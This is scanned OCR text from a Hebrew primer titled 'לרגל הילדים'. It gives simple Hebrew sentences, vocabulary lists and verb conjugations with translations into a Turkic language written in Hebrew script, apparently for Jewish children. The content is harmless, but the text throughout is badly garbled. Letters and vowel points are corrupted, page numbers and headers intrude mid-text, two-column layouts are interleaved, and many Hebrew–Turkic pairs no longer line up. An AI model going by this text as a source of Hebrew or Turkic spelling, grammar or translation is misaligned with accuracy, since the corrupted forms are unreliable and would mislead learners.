פָּרִי הְעַץ הוה דומָה לְפְרִי הספום .
הָעץ הזה דוּמָה לְתְאָנָה..
הנְשיאים האכה דומים לכפִירים .
אַחותִי ! אֶ לא שְמַעַ אֶת קול אְבִי .
בו רירנין
פרא כּסאסינדא חוץ ביר שיי יוק ריר .
מייבאסי . אלמא. דירניניג
מייבאסינא בנזר. .
בו רירכּ אינג'יר דירגינא כגזר .
בו אגאלר ייגיט ארסלאנלרא בנורלר ,
קיוקרדאשים !| סן ססיני
אשיטמרינ .
בבאמין
58 לרגל הילדים
ביז בו אוכסכ בורגילררא אוטורמדיק .. קיוים וא אנאם : סיו ו דאג ד] דון
אנדיגיז . בּיו בו אוכסב דאגדן דון אנמדיכ . בן בו יילאנלר גב ביופ
יילאנלר גזרמדים . בן בו גמילר גיבי דולו גמילר גורמדים . בן פואלמאלר
גיבי איי אלמא לר יימהים ,, בּיז בו ג'ויולר גיבי איי גיויזלר יימדיכ . קיו-
קרדאשים \ סן בו נארלר גיבי ביוכ נארלר יימדיג . בּבּאם בו ג'ובאלר גִּיבי
פחאלי ג'ובאלר סאטון אלמדי . בו פוקרא חלאייק וא בו זנגין חאנים
מסרלי דיר, בּבּאם וא אנאם יהודי דיר . קיז-קרראשים וא אנאם יהודי דיר.
רבקה ושרה פיו קבחתסיז סיגיז. משה ואהרן : סיז פוקרא סיגיז,משה ואהרן!
סיז בו סמיז וא איי אינכּלרי (סיגירלרי) בו מסרלי חלאייק גא דון סאטדיגיז .
אנחנו לא חתמנו את הספר אשר כתכנו היום . לא ראותי מינקת
חכמה וטובה כמינקת בן המלך. האניה הואת ריקה היא . האמה ההיא
עניה כמינקת המצרית הזאת . אנחנו לא פתחנו את התבות המלאות
והסגורות אשר הביא אבי. לא ראיתי גברת חרוצה כגברת הואת . משה
ואהרן לא מכרו את הפרות האלה . הנביאים הקדושים האלה נקיים .
ושה ואהרן ! עגיים אתם. שרה ורבקה עניות . אחותי : עניה את . אבי
ואמי לא היו עניים. זאת האשה העניה אשר מכרה את הפרות השמנות
האלה. אתה האיש אשר קנה את המעילים היקרים האלה. אין פה חתן
חכם כחתן הזה . אין איש בריא וחזק כיהודי הזה . המצרית הזאת
מינקת בן המלף . המואביות ההן לא. היו עניות כעבריות האלה .
המואביות העניות האלה מברו את הפרות השחורות והשמנות ההן .
המצרית הוּאֶת עשירה כגברת העכרית ההיא .
בו יהודילר ונגין דיר . או ישראל.לר פוקרא דיר , בו זנגין מיסירלי
לר קבחתסיז דגיל אידי . בו קבחתסיו חלאייק מיפירלי דיר . בו מסרלי
קרי קבחתסיז דיר . בו מיסרלי (קרש לר קבחתסיז דיר . או מיסרלי לר בּו
יהודי לר קדר ונגין דגיל אידילר . בו מואבלי (קרי). לר ישראל (קרי) לר
גיבּי עקללי דיר , בו יילדיולר גיבי פארלק יילריזלר כים - גורדו .+ בו
אטלר גיבי סאגלם אטלר כים.גורדי + או אינכּלר גיבי סמיז וא איָי אינפלר
כּים סאטדי + בו יאוי גיבי אגיר יאיי בן קורמדים. סן, קיז-קרדאשים.. או
סמיו אינכלר גיבי. אינכלר סאטמדיג . שרה ורבקה : בו כּתאבּ גיבי
פחאלו כּתאב פיז יאזמדיגיז . בו אב גיבּי אוכסכ אברדא ביז אוטורמריק ,
בו דילבר בחצא דא פאדשאהיג אוגלוניג דאיאסי אוטורדי, שהה + סן בו
בוב בּאג. גיבי ביר איי באג סאטריג . רבקה: סן בו איי בּאג גיבי ביר
אוי. באג: דא אוטורדיג . ו פתאבי יאזן. עקללי מסרלי (קרי) בו דיר . בן
לרגל הילרים 27
הער הזה אַח לְעָנִיההוּא . בו אוגלאן או פוקראיא קרראש דיר .
לא רְאִיתִי איש דל וְחלֶה בָּענִי הזה . בו :פקיר גיבּי אריק וא חסטא גורמדים .
המל בָּא בַּאָנְיָה אַשָר רְאִיתְ אֶחָמל . פארשאה סן רון גוררוניג גמירא (נמי
אילן) גלרי .
אחי הָיָה חָכֶם כָּחֶרש הוה . קרראשים בּו אוסטא קדר עקללי אידי .
אֶחִי מִי גְתַן לָ אֶת הַמְבַצְלֶת הַיָבְשָה = קרראשים, סנא בו קורולאליי כּים וורדי?
הוּאת.
אְָחְנוּ לא דָרְכְוּ אֶת מקשת הִכְּכְרָה = ביו בו אגיר יאיי קורמדיק .
הוּאת.
ְעַבָרִים תָענִיִים האלה נקיים . בו פוקרא יהודילר ניחק דיר (קבחתסיו
דיר) .
אֶחִי וְאָבִי חָכָמִים כּמְצָרִים הָאָקֶה . קרראשים וא בּכאם בו מסרלי גיבי עקללו
דיר .
לא רְאִיחִי עִנִי כַּעַברִים הָענִיִים הִאלָה . = בופוקרא יהורילר גיבּי מיסכין גורמדים ,
הפולעת אַשֶר רָאִיתָ לִבְנֶה היא . סן גורדוגיג קורֶךְ -- או בּייאז דיר .
השְפַחֶה פֶּתְחָה אֶת הַדְּלֶת הסְגוָרה . חלאייק אורטוכ קאפויי אצרי .
ַדְלַת הואת פַּתוּחָה ְהַּלת ההיא = בו קאפו אציק או קאפו אורטוכ דיר .
סְנורָה .
הנשיאִים אשר ישָבו בַּבַּיֶת הגְבוה הזה הַלְכוּ אֶתָמל לְנן המֶּלךְ .
הַשפְחה הַמִּצָרִית אֶשָר ישְבָה בְּכָרֶם אָבי חנה לִי אֶת הַטַבַּעֶת הִיִקְרָה
הַזאת . הַתוכעת אֶשר רְאִית ְדולֶה ַּוּכַעַת אַשֶר רְאִיתִי . הטְבּעת אֶשֶר
מַכָרָה הָאָמָה הָעַבְרִית יְקְרָה בַַּבַעַת אֶשָר קַנָה דורִי אֶתְמל . המִינקת
המאְביָה ָרְכָה אֶת הקשֶת אֶשר נִתְנָה לי בַּת הָאִיש הַמִצָרִי . אָבי וְאָמִי !
אַתּם ז לא ַּכְתּם אֶת הַקְשָת . אֶחוְתי א מִי ! אַתַּן לא פתַחְתֶן אֶת הַדּקַת
הַסְוְרָה'. הָעָבָד הַבִיא לְאָבִי ספֶר חָתוּם . מי נָתִן לָּ אֶת הַפָּפָר הָחָתוּם
הַוה 3 אֶחותִי לא כַּתְבָה אֶת הַפָפַר הַחָתוּם הַהוּא . אָמִי לא חַתְמָה אֶת
הַפָפָר אַשָר כַּתְבָה לאבי . אֶחותִי ! א לא חתמ אֶת הַפְפָר אשר ְּתָבְת
ְאָמִי . לא רְאִיתִי קָשַת ברה כּקָשַת הזאת . לא רְאִיתִי רש חְכֶם
כְּחְרָש הַזֶה . בְּאָנְיָה הַזאת אִגוזִים וְתַפוּחִים וְרְמנִים מובים מַאד . לא
ְאִיתִי ַלָה חַבָמָה בָּבלָה אֶשָר לק קח דוי . לא רְאִיתִי אֶשָה עָשִירָה בָּאֶשֶה
הַמזאָבְיָה הזאת .
[, קיז קרדאשים . בו אוכסכ אברדא אוטורדיג . בן או אוכספ
אברדא אוטורמדים . אנאם וא בּבּאם : סיז כו אוכּסכ בורג'לרדא אומורדיגיז,
0 לרגל הילדים
המִינקת הַעְנְיֶה הואת נקיָה , היא לא
גגְבָה אֶת השבעת הַתַרְשה :
התבצלת אַר נִתֶָה לף תי טבה
מאר .
ַּחָבות הַמְּלָאת הַאְלָה יש כַּסַף ווָהֶב .
הנָבְרָת הואת עשִירָה כַּפַלְבָה הַהִיא .
אָבִי עָבָרִי וָאָמִי מְצָרִית ִמָצַרִיהְ) .
המִנְקת הזאת וְהשְפָקָה הַהִיא מִצָרִיוּת
חן. |
היום ראיתי בּיאור פרות שָמָנוּת וטובות.
הַבִּיִת אֶשָר מִבָרָה אמי גבוף בּפִנְדָל
הזה .
דורי עַבָר למל הוה .
ההפוחים הָאָקָ
ה טוכים
אתה ,הי | חִכֶם ִּמַלַמר הזה .
;בר | כקבה)
וחיר נקי , נקיה, קבתתסיז .
ורבים) נָקִיים ,| נקיות , קבתתסיז לר
למל עב, עניה , פוקרא , פקיר .
ורבים ענָיים,- = ענת , פוקרא לֶר.
ניהיך) , עבר , עבְרִיה או עְבָרִית ,| עבראני, יהודי .
"ביס עַבָרִים, . עבריות ,= - ישראל לר. יהודילר..
יחיד מִצְרִי ,== מִצָרִית או מִצְרְיה , . מל .
(רבים) מִצְרִים, מִצריות, | מסרלי לר..
יחה מאָבִי, = מוְאָבְיָה אוּמואָבִית, מאבלי .
כבים) מואָבים, | מואביות , מואבלי לר .
מַנָקֶת , ני. דאיא טבּעת , נ' . יוזוב . חתם , מחורלרי .
בת , נ' . חאנים . הולעת , ני. קוּרְרָ. דרוף ,| כורולמיש . קורולי.
הִבְצְלת , נ' . לאלי (ציצט) . = דּרִףָ , קוררו , באסדי. = = סְגוָר , אזרטולמיש, אורטולי.
לת , נ'. קאפו . סֶנַר , אורטדי , פֶּתוּח ,| אצילמיש , אציק .
קשָת , נ' . אי , אוק יאני + = פֶּתַח , אצדי. חָתוּם, מוהורלנמיש. מוחודלו.
בו פקיר ראיא פּאכ (קבחתסיז) דיר , וינו
יוזוני או צאלמרי . =
סנא קיוקרראשים וירריגי לאלי פכ איי
א
בו דולו סאנדוקלררא גומוש. וא אלטין
ואר דיר .
בּּ חאנים או מליכה קדר זנגין דיר .
בּבּאם יהורי, אנאם מסרלי דיר .
בו ראיא וא או חלאייק -- אנלר מסרלו
רד
בוגון נילדא סמיווא איי סיגירלר גוררים.
אנאם סאטריני אב בו בורג' קדר אוכּסכּ
ריף':
אקאם בו פארשאהא קול דיר .
בו אלמאלר או נארלר גיבּי איי דיר .
סן , קרראשום , בומועללים קדר עקללי
סין .
5
לרגל. חילדים 25
דאגדן אנדילר. או כוייבלר אנמדילר , שרה ורבקה סיז דאגדן אנמריגיו . ביז
בוגון דאגדן אנדיכ , שראבי ביזדוכמדיב . אלמאיי וא נארי ביז יימדיכ .
סן קיז קרדשים בו אלמאלרי יימדיג . סיז או נארלרי סאטמדיגיז . אקאמיג
קיזי פּּ בייודי, בוחלאייק וא כו קרי בגאית בייודילר . סיז יזכר בו סיגירלרי
סאטריגיז או סיגירלרי סאטמריגיז , סיז עקבה יאגי דוכדיגיז . שראבי
דוכמדיגיז . או עקבה בו אשכלרי סאטדי או אשכלרי סאטמדי ,
בוזאב וא אוגוז סוזדיגי צוג'וגי סן גורמדיג. בו אוכסכ דאגרן אנמיש
גליני סן גורמדיג . בּבאם וא אקאם סאטריגי ג'ובאלר פּכ פחאלי אידי .
יז זכר יאזדיגיגיז כתאב פכ איי וא בּיוכ דיר . שרה ורבקה: סיז יאזדיגיגיו
כתאב בּגאית פחאלי דיר . בו כוייבלר אלדיגי גלינלר כ עקללי דיר ,
ישראל אוזרינא פאדשאהליק. אידמיש מליכה -פכ עקללי דיר . בּן דון
גורדוגים גמילר דולו אידי . סן בוגון גורדיגי. סאנדוקלר בוש דגיל אירדי.
אנאם סאקלאדיגי סאנדוקלר דולו דגיל אידי. בּבּאם דון גטירדיגי חלאייק
בּו אלמאלר דן יידי . בּבאם אובירסיגון סאטון אלריגי סיגירלר בו כּיציכ
צוניוני סוזדילר . אניג' איצון או כפסיזלנרי וא בוגון אולרי. שרה ורבקה ו
סיז עקללי סיגיז כּי בוגון דאגדן אנמדיניז . בבאם וא אקאם סאטדיגי
סיגירקר סמיז אידי . שרה ורבקה : סיז סאטדיגיגיז סיגירלר סמיז דגיל
אידי , בו בייוכ וא בּייאז סיגירלר סמיזדיר . בן דון גורדיגים סוטונלר (מצכה
לר) אוכסב אידי . שמואל ויצחק : סיז אלדיגיגיז גלינלר בּגאית שירין דיר.
קרדאשים !סן אלדיגיג שירין וא עקללי גליני בן גורמדים . בו בייאז
סוטונלר (מצבה לר) אוכסכ דיר . או סוטונלר אוכסכ רגיל אידי , קרדשים
וא אקאם אלריגי גלינלר עקללי וא שירין דיר .
6 9
בְּבְּיִת=בְּהַבָּי , אול אבדא .
כנְחַש==כהנחש, אול יילאן גיבי .
למַלְךָ =לְהַמָלְךָ , אול פאדשאהא .
לְאִיש =קְהָאִיש , אול כישינא .
כָּחַתַן=כְּהַחְתֶן, אול פוייב גיבי .
בּיאור= בְּהַיָאוֶר , אול נילדא .
בְּבֶּת הזה , בּוּ אנרא .
בּאיש ההוא , או כישי גיבי.
(חלק. ראשון) 4
234 לרגל. הילרים
הטובים אֶשֶר גְגְכָה הַשִפָּחָה מִן הבית . אַחותִייָאֶתּ לא כָּתָבֶת אֶת הַפָפַר
הַזֶה . זאת הַבַּלֶה הַחִכְמָה אַשֶר לָקח אֶחִי . בָּנִייְאַתָּה לא שמרְת אא
הַפָפר אשָר כָּתַבְּי ל אֶתְמַל . בת מִי הָאֶשָה הואת אַשָר גּנְבָה אֶת
המעילים. הַיְקְרִים הָאָלָה ז אַחותִי וְאָמִיִאַתַּן מִכַרְתּן את הפרות השחורות .
לְדודִי . זאת הַתְּבָה הִמִלְאֶה כְּס וְהָב.. הַאָניות הָאֶלֶה מלאות וְהָאָנִיִית
הָה רָקות. . הפרות הָאֶלָה שחורות וְהַפָּרות הָהן לְבָנות . הַנּשִיאִים הָאֶלָה |
אֶשָר כְּחָבו אֶת הספר הזה הְַמִים מַאד . וְהנשִיאִים הַהֶם לא כָּתְבוּ ספָר .
הַחָמורִים הַאֶלָה אֶשֶר קנה אָבִי חַרוּצִים - וְהַחמורִים הָהַם אֶשַר מִכָר דורי |
היו ו עָצלִם" מָאר .
העבד הוה ישר מאר ; הוא לא גנב את הספר אשר הביא אבי . |
האמה הואת ישרה מאד ; | היא לא גנבה את האגוזים אשר הביא אחי .
אחי לא שפך את המים. אתה לא שפכת את המים . האשה הואת
שפכה את המים . אתם שפכתם את הדם . אנחנו לא שפכנו את הדם .
העבר הזה והאשה הואת שפכו את השמן. רבקה ! את שפכת את חיין .
שרה ורבקה !: אתן שפכתן את היין . האשה הזאת והשפחה ההיא שפכו |
את היין . הכלה הזאת מכרה את הגן ואת הכרם אשר נתנה אם דודי
אל החתן . שרה ורבקה לא שמרו את הבית ; על כן העבד והאמה גנבו
מן הבית מעילים יקרים וטובים מאד . את, אחותי, גדלת מאד . המלכה
החכמה הואת גרלה מאד . הן אכלו את התפוחים ואת הרמונים והם
אכלו את האגוזים ואת הרבש . השור וחעגל נגחו את הנער ואחרירכן
מת הנער ההוא . זה הספר היקר אשר כתבה אחותי . זה הנביא הקדוּש
אשר בא אתמל . אלה הרמונים הטובים אשר הביא אבי . זאת האניה
הרקה . אלה האניות הרקות .
קרדאשים אָבִי סאקלרי . קיז קרראשים אבי סאקלמדי .. שמואל
ויצחק בּו אבי סאקלמדילד . שרה ורבקה או אבי סאקלמדילר . שמואל
ויצחק : סיז בו ביוכ גמילרי סאקלריגיז . שרה ורבקה : סיז או בוש גמילרי
סאקלמריגיו .| שמואל : סן בו בּאגי סאקלמדיג . קיזקרדאשים סן בּו
אוכּסכ אבי סאקלמדל ביז סאקלדינימיז אָב בגאית אוכסב אידי. פן \
סאקלריגים באג בגאית ביוכ. אידי . קיז-קרראשים פכ בייודי -
בייומדיכ . קיז-קרראשים : סן בייומדיג . שרה ורבקה : סיז כ בייודיגי
שמאל ויצחק פב בייודיקר , קרדאשים! סן בייומדיג . שמואל ויצחק !
סיז בייודיגיז . בו גלין דון בו אוכסכ האגדן אַנדי . בוכוייבלר דון א
לרגל הילרים 93
הַנְשִיאִים הֶחָם עשיָרִים מאר .
אחותי וְאָמי! אפן חכמות וטובות מֶאר .
רבקה ושָרֶה חִכְמוּת וטובות מַאר , הן
כְָּבוּ לי אֶת הַפַפָּר ַָה שר רְאִי .
גי כָתַכְִי לְבִי ספֶר קר מָאד . על
כ הוא נָסן לי אָגוים ומְפּוּחִם .
ד מת וְאחָרי"כן מל שָלמה .
שלמה וְרור מְלְכוּ על יָשְרְאָל .
אי , אַחוּתִי וְאַמִּי מְברְנוּ אֶת הַמַית
הרול אַשָר נָתן הפל לְאְכִי.
שְמואָל וָצָחָק ! חַכָמִים אַתֶּם כִּי לא
מְכַרֶמּםאֶת הפר היקר אֶשָר כַּתְבְפֶּם.
שרָה וָרבקה! ישָרוּת אַתן כִּי לא ְבְן
אֶת הָאָגוזים אֶשָר הביא אָכִיאֶתָמל .
פָּלֶף מִת ואמריחבן מלבה הפּלְבָה .
אַחותי א לא שָמַרֶף אֶת הבית על כָּן
בו הְעַבָ וְהַשֶפָחָה בְּסָף ווָהָב .
ואת הַשָפַחָה אָשָר מַכְרָה. לִי פֶּרוּת
שחורות .
אִלֶה הַפִנִדְּלִים הנְבהִים אֶשָר בְּנַה
המל י
אָלֶה. הַפָרות השָמָנוּת אִשֶר קַנָה דורי .
או אנאלר פפ זנגין דיר .
קיו קררשים וא אנאם ! סיז בגאית עקללי
וא איי סיניז
רבקה ושרה 29 עקללי וא אוו דיר :
אנלר ב1א בו נוהריניג כּתאבי יאזדילר .
בן בּבאמא פכּ פּחאלי כּתאב יאזדים .
אניג איצון או בגא ג'ויזלר וא אלמאלר
ווררי. ,
ְוָר אולדווא אנדן סוגרא שלמה פאדשאה
אולרי .
שלמה ורוד ישראל. אוזרונא פארשאה
ליק איטרילר
בן , קיוקרראשים וא אנאם פּארשאה
בבאמא וירריגי בּייוכ אבי סאטריק. .
שמואל וחק ! יז עקללי סיניו , זירא
יאריניניו 0 כתאבי סאטמריניז .
שרה ורבקה ! סיו רוגרו סיניו זירא רון
בּבאם גטירריני ג'ויולרי צאלמריגיו .
פארשאה אולרי וא אנדן סוגרא מלוכה
פארשאה ליק איטרי .
קיוקרראשים ! סן אבי סאקלמרינ , אניג
איצון קול וא חלאייק גומוש וא אלטין
6 רילר .
בּנא סייאח סיגירלר סאטן חלאייק בו דיר .
פארשאה יאפרוני אוכּסכ כורג'לר בונלר
דור ,
אנאם סאטון אלריני סמיז סינירלר בתלר
ריר .
אֶלָה הַאָנית אֶשֶר בְּגה דודי . הָאָגית האלה מלאות אגוזיס וְמנִים .
הַבַּלות הָאֶלָה" חַכָמות מָאד . הנער הזה וְהְעבֶר אַשֶר הַבָּה אָבִי אתמל
הָם גְְבוּ. אֶת הַפְפָר היקר אש רְאִיתָ וְאַחָרִייכָן מָכְרוּ אֶת הספר לאִיש
עשר . אַתֶּם מִכַרְתֶּם אֶת הַמַעִילִים הָאֶלָה . אָחָנוּ לא אָבַלְנוּ את האנוזים
2%
לרגל הילרים
החתַתנים האֶלָה , בו בּוייבלר הַכָּלות האלה ; בו נלינלר .
הַמנדָלִים הַאֶלָה, כו בורנ'לה. = החומות הְאֶלָה, בו קלעה לר .
הַחַתְנִים ההם , או כוייבלר - הַדכַּלְות חָהן , או גלינלר. .
הַמַגְדָּלִים הַהַם, או בורג'לר = החומות הָהַן , או קלעה לר.
א? אֶשָר .
אנִיה
-'ד
בה , ני
ווכל) הא בַּתב נקבה היא בְּתְבָ | ה , או יאזדי ,
אִסָה כָּתַבָ= תַ אס בְּתֶבָ=ת , סן יאודינ .
אָנִי כָּתֶךָ =תִי 2 ו בן יאזרים .
הַם כָּתב=וּ הן ַּתֶב= | אנלר יאזרילר .
אַתֶּם בְּתֶבְ=תָם אפן ְּחַבִ=תן | סיז יאזריגיז .
אגְחְנוּכַּתַב ==ינוּ אִנַחְנוּבְּתַב=נו, ביז יאזריק .
. חנגי כּי, או כּי .
הָעַבַר אשַר שָמט אֶת ז הענל , בוזאבי בונאזלייאן קול .
הָאִיש אֶשָר הַכָּה אֶת הָעָבָר , קולו הוגן כישי .
הון | אשר מְכֶר אבי , בבאם פאטריגי בהצא .
הַפָּפֶר אֶשר כָּתַב בָּנִי , אולום יאזריני כתאב. .
-₪- ל
ַלַחם אשר אָכלְִ , יידיגים אֶבּמב .
הפַנְדָּלִים אשר בָּנה המֶלֶך , פאדשאה יאפריגי בורג'לר .
הַמַלְבָּה אֶשֶר רְאֶה דודִי , אקאם גורדיני מליכה .
החומות אָשַר בֶּנָה בּן המִלָך, פאדשאהיג אוגלי יאפדיני קלעהלר,
נ. גָּמי. שֶמַר, סאקלרי, הטרינדא | מָאר , בַּטָאית, פכ .
דוטדי.
. סאנדוק, מַלַךָ , פאדשאה אולדו + כָּו , זירא, כּי .
פארשאהליק איטרי,
מַצְבָה , ני, סטון , מצבה . מַלא 1 דולו . כּן, אוּלָא. על כּן / אנינ איצון.
נדל, בייורי. עְרָב , דילפר . שירין > | אַחָרַיכן, גרא.אנדן סוגרא
החומות מָשָר בֶנֶה אָבִי והות מָאד . = בּכאם יאפריני קלעהלר 35 אוכספ ריר.
הפרות אָשָר מְכְרֶה הַשֶפְּחָההָיוּלְכוּת, = חלאייק סאטריני סיגירלר בייאז אודו .
הפְּכות הָאֶלָה מְלָאות כָּסָף הב . בו סאנרוקלר גומוש וא אלטין חולו ריר .
החכות הֶתן רקו . או סאנדוקלר בוש ריר .
ְנְִיאִים הָאֶיה קדושים . בו פינמברלר עזיו ריר ,
לרגל הילרום ו
אור הככבים הבהירים והגדולים כאור הירה . אור הכוכב הגדול והבהיר
הזה כאור השחר .. האמה הואת עיפה היו . זאת השפחה העיפה .
מתי נתן אחי: לאמך את האנוזים הטובים .
ן עקללי פאדשאה פין. סן עקללי וא איי מליכה סין. קרדאשים דוגרו
דיר . קיז קרדאשים דוגרו דיר , או <?\ זיירכ דיר . סן אנאם בגא יאקין
סין . בו סרחוש קול או סרחוש וא טנבל חלאייגי חצאן דוגדי + בו קוותלי
אוגוז בו איי וא דוגרו קריי חצאן סוזדי + קיו קרדאשיגיג אדי נא דיר .
קיז קרדאשימיג אדי שרה. קיזימיג' אדי רבקה דיר . אנאגיג אדי נא דיר?
אנאמיג. אדי דבורה דיר . אנאמיג ססי סניג אנאגיג ססי גיבי דיר .
קיזקרראשימיג ססי בו חלאייניג ספי ניבּי דיר . בו עקללי וא איי מליכה
ניל אדי מִריָם דיר . אנאמיג באגי מליכה ניג באגי גיבי כניש דיר . אול
בוש בורג'לריג אוזרינדא בוגון כימי גורדיג . אול אוכסכ וא בוש בורגילריג
אוזרינדא קיז קרדאשים וא אנאג ואר אידי . בּיוכ וא פארלק יילדיזלריג
עאיידינליגי גונשינ עאיידינליבי קדר ביוכ דיר . אול אוכסכ וא בוש
בורגילריג אוזרינרא בּיוכ יילאנלר ואר אידי . אול ביוכ וא סייאח יילאנלר
נרדא אידילר . בּבאם בוגון ייגי וא איי ג'ובאלר סאמון אלדי . בן דאג
אוזרינדא ביוכ וא אוכסכ דירכלרי גורמדים . סן בוגון סייאח וא קראנגו
בולוטלרי גורמדיג . בו קויו דרן דיר . בו קויו בוש דיר . בוש קויו בו
דיר , בו יילדיז פארלק דיר . פארלק יילדיז בו דיר .
1 >
לה , ני . נָּלין . כַּלות , גלינלר .
פרה , נ' * פיגיר . פרות , סיגירלר .
חוּמָה , נ' לעה . חומות , קלעהלר.
לה חִבְמָה , לי גלין. . כָּלות חָכָמות, עקללי גלינלר .
פָרָה שֶחוּרָה , סַיְאח סייר . = פֶּרוות שחורות , סייאח סיגירלר .
ו
חומה גְּבוהֶה, אובּסכ קלעה + = חומות ג בוהות , אוכככ קלעהלר.
זכר) הא ישר, ונקבה' היא יִשַרָה , או דוגרו דיר .
אַתָּה ישר , אַתּ ישרה , סן דוגרו סין .
אני ישר , אני ישרה, כן דוגרו אים .
הם ישרים, הן יָשרות > אנלר דוגרו דיר .
אֶתִּם ישרים, אַתִּן ישרות , סיז דוגרו סיגיז .
אָגְחנוּ ישָרִים , אִנְחנוּ ישרות , בּיז וגרו איז .
90 לרגל הילדום
ה בְנִי ; זאת בַּפִּי ; וה אָבִי; זאת אָמִ ,
זֶה הִפָּלָך ; ואת הַמַלְבָּה .
זה הַמָּלַך הֶחָכֶם והנחול .
זאת הַשְפָּחָה ַעצְלָה והשָכּורה
וָה הָעבָר הָחָרוץ וְהַיְשָר ,
ואת האמה הוה לשרה .
ה האיש הָענִי השכּול .
ואת הְאֶם הַגִלְמרה והשכולה
אי אפף 7 -- היא בּנן דוי .
איה אַחוסֶף ? -- הִיאבְכָרֶם אֶחִי .
אָבִי [ אַתּ
אַמּי ! את חַבָמָה וְטוּמָה כַּמַלְכָּה .
אַחִי ! אַתָּה חרוּץ כַּעבַר הל .
אַחותִי ! את תַכָמָה וטּבָה ככת הטלף' .
ד
תי ו תַרוּצָה וְטוּכָה : בַּתְךָ
את" השפ חָה הַיְשָרָה ְהַתָרוּצָה ד
שיר וחַכֶם כּמַלֶףּ מצרים..
אונלום בו דיר ; קיזים בו דיר ; בּכאם בו
דיר ; אנאם בו דיר .
פארשאה בודיר ; מליכּה בו ריר .
עקללי. וא ביו3 פארשאה בו דיר .
טנבּל וא סרחוש חלאיוק בו דיר ,
זיירכ וא רוגרו קול מ דיר .
זיירפ וא רונרו 0 בו ריר .
מיסכין -וא אוזלרסיזארם בו דיר .
בחטסיו וא אוולרפיו אנא בּו ריר .
ולידהג נרדא ריר ? -- או אקאמין
בחצאסינדא דיר'",
קיזקרראשיג נרראדיר ?+ -- או קרראשימיג
באנינדא דיר ; --
ּכאם ! סן מסַך פאדשאהי קרר זננין וא
עקללי סין .
אנאם !: סן מליכה גיבי עקללי וא איי סין..
קררשים ! סן פארשאהי: קולי גיבּי זוירכ
סין .
קיוקרראשים ! סן פארשאהיג. קיזי גיבי
עקיללי וא איי סון .
הכמה חָרוּצָה וְטוּבָח כַבְתי . הָאִיש
אֶחוְתִי .- הַעַבֶר השכור הַזֶה המִית
אִיָח הָאָמָה הַשְכּורָה הַהִיא + אִיָה
אֶם הָאֶשָה הַטוּבָה הזאת האיש ט החרוץ והָשיר הַזֶה הָיָה בָּנן המלה :
ג הָאָשָה הַקְנָה הזאת קרוב לְבָרֶס בּת המלה > בת הָאִיש הָעשִי
בת העני חַרוּצָה . אַחותי חַכָמָה כָּבַת היהודי הָע
כב האיש הָחָכֶם ההוא . זה בָנִי.
רַעָצָלָה יְ
שיר הזה . בתי מוכה
זאת בִת* : ה אחי . זאת אַחותי .
זֶה השור הָתוּק וְהָאָרם . זָה הַארִיה הנול וְהָעז . זאת בת הַמ ; היא
טבָה .. זאת אָמִי ; הִיא חַכְמָה. הָאָמָה הזאת הָרוּצָה וְקָאָמָה ההיא עְצַלָה.
הַשָפּחָה הזאת ישָרָה וְהשפַתת ההיא שכורה + = = ו
איה בּן המלך + הוא ואמו היו בגן המלך . בתי ואמי לא היו חיום
בכרט דודי . מי ראה את המלכה הטובה והחכמה , אני ראיתי היוס
אמה חרוצה . העכד נתן אל האמה ההיא אגוזים ותפוחים טובים . אחי
הביא את השפחה השכורה לאמי . מי גנב את המעילים הלבנים והיקרים ?
לרגל הילדים 9
עבר ההוא עִצָל , או קול טנבל דיר ;
השְפחֶה הַהיא עצלה , או חלאייק טנבל דיר
הער ההוא חָרוּץ , או אוגלאן זיירכ דיר .
הְאָמַה הַהִיא חַרוּצָה , או חלאייק זיירכ דיר .
הָאִיש הגדול הזה , בו בו כישי.
הַאֶשָה הַחִבְמָה הזאת , בו עקללי. קרי.
הָאִיש הָהַכֶם ההא , אועקללי גישי.
הָאשָה הַגדולָה הַהָיא , אוביו קרי .
איש טוב וְחָכֶם, אייוא עקללי אדם.
אֶשה חַבָמָה וְמוּבָה , עלליוא איי קרי .
הָאיש הטוב וְהֶחָכֶם הזה | בו איי וא עקללי אדם
הָאשָה הַטוּבָה ְהַחַבְמָה הזאת , בואיי וא עקללי קרי.
למור , אולרְסיוּ. מָחְזון ;= אָמְךָ , סניג אנאג אחוְתִּ, בּנים קיזקרראשים .
שכול, אולְסִזהאוולדלריני אמ , אניג אנאסי. בּת , ק'ז: בי , קיזים .
גאייב אידמיש אדם. = אַחותְךּ , סניג קיזקרראשיג, בַּּךּ , סניג קיזיג.
רִיק, בוש , אַחותו , אניג קיזקרראשי. בת , אניג קיז.
יש לי אָב טוב וְאֶם טּבָה . בנים איי בּאם וא איי אנאם ואר .
יש לף אֶח חָכֶם וְאֶחות חִכָמָה . סניג = עקללי | קרראשיג = וא עלללו
קוזקרראשיג ואר .
יש לְאֶחִי עבר חָרוּץ וְאָמָה חָרוּצָה . קרראשימי זיירכ קולו וא זיירפ חלאייני
ואר .
לְדודִי !יש ב עָשִיר וְאָשָה טובה . אקאמינ זנגין אוגלו וא איי קריסי ואר .
יש לי אחות מכמה עשירְה וְטוּבָה . = בניםעקללי, זנגין וא איי קיזקרראשים ואר :
אַחוְתִי חָכְמָה ְטוּבָה כּכַת המל . קיוקרראשים פארשאהיג קיזי גיבי עקללי
וא איו דיר *
ם הַַלְבָּה הזאת וַקְנָה . בו מליכהייג ולירהסי קרט ריר .
הְאָשָה הָעשִירָה וְהַתְכָמָה הזאת -- בו זנגין וא עקללי קרי פארשאה קיזי רור
ּת מְלְך .
הָאִשָה הַשוּבָה וְהִתְָרוּצָה הַהִיא בַּת בו איי וא זיירּ קרי ביר מספין ארמין
איש ענִי . קיזי ריר ,
מִי הְאָשָה הַואת ?--היא הַמַלְבָה ; בו קרו כּים ריר + - מליכּה או ריר ;
18 לר לרנל הולרום
קרובים לכרם אבי . הסוסים החדשים יקרים . תפוח הנער הזה כרמון .
חמור העבד הזה עצל ,
בן גכ אוזרינדא סייאח בולוטלר גורדים . סייאח בולוטלר בורג'לר
גיבי אידי . ייגי אשכלר אמלר קדר קוותלי דיר . בבאמיג באגי פאדשאהיג
בחצאסינא יאקין דיר . כוייבלר ילדיזלר גיבי באלקידילר . עזיז פיגמברלר
וא עקללי אגאלר פאדשאהיג. סראיינדא אומורדילר . עזיז פיגמברלר
ון יורגון אידילר , קרדשימיג נארי אלמא גיבי דיר . או קולוג אטי טנבל
דיר . פאדשאהיג אטיוא קולוג אטי בּייאז דיר . אקאמיג אָטי וא בּבאמיג
אטי זיירפ שו . פינמברינ אט ריר" וא אנאיינ אט | זיירפ דיר : בייאז אט טרר
פחאלי דיר . מנבל אַטלר פהאלי דגיל אידילר . סייאח אָטלר זיירּ
